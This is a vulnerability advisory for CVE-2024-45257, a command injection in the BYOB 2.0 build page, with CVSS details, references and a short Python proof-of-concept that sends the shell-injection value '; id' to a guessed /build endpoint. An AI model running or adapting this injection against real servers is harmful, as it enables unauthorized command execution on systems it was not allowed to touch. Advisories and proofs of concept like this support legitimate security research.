CVE-2024-45257

Description

A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbitrary commands on the server via a crafted build parameter. This occurs in freeze in core/generators.py.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

BYOB (Build Your Own Botnet) 2.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_byob(target_url):
    """
    PoC for CVE-2024-45257: Command Injection in BYOB 2.0
    This script sends a malicious payload to the build page.
    """
    # The vulnerable parameter is 'build'
    # Payload attempts to execute 'id' command via shell injection
    payload = "; id"
    
    # Note: The exact endpoint might vary based on BYOB deployment configuration
    # Common endpoint is /build or similar
    endpoint = f"{target_url.rstrip('/')}/build"
    
    data = {
        "build": payload
    }

    try:
        print(f"[*] Sending payload to {endpoint}...")
        response = requests.post(endpoint, data=data, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print("[+] Check the server response or verify command execution.")
        else:
            print(f"[-] Server returned status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Error connecting to target: {e}")

if __name__ == "__main__":
    # Replace with actual target IP and Port
    target = "http://127.0.0.1:5000"
    exploit_byob(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-45257
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-45257
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-45257/
[4] VulDB https://vuldb.com/cve/CVE-2024-45257
[5] https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/
[6] https://github.com/malwaredllc/byob
[7] https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/byob_unauth_rce.rb

Raw JSON Data

JSON

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